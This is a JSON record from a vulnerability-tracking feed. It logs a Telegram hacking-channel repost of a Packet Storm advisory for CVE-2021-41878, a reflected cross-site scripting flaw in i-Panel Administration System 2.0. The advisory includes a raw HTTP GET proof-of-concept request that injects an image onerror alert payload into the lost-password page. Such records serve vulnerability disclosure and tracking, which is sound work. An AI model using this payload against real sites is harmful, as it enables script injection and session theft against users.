{"uuid": "daf93527-81fa-43ce-8d0e-08463b5c31ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41878", "type": "seen", "source": "https://t.me/hacking_Attack/27779", "content": "Exploit Collector\ni-Panel Administration System 2.0 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \ni-Panel Administration System version 2.0 suffers from a cross site scripting vulnerability.\n\nMD5 | 39d10d230c9465bc30c644f1917dd5f9\n\nDownload\n# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)\n# Date: 04.10.2021\n# Exploit Author: Forster Chiu\n# Vendor Homepage: https://www.hkurl.com\n# Version: 2.0\n# Tested on: Chrome, Edge and Firefox\n# CVE: CVE-2021-41878\n# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html\n\nAs a proof of concept, an alert box can be generated with the following payload.\nExploit PoC:\n\nGET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1\nHost: Forster\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nCookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept-Language: en-gb\nAccept-Encoding: gzip, deflate\nConnection: close\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:13.584487Z"}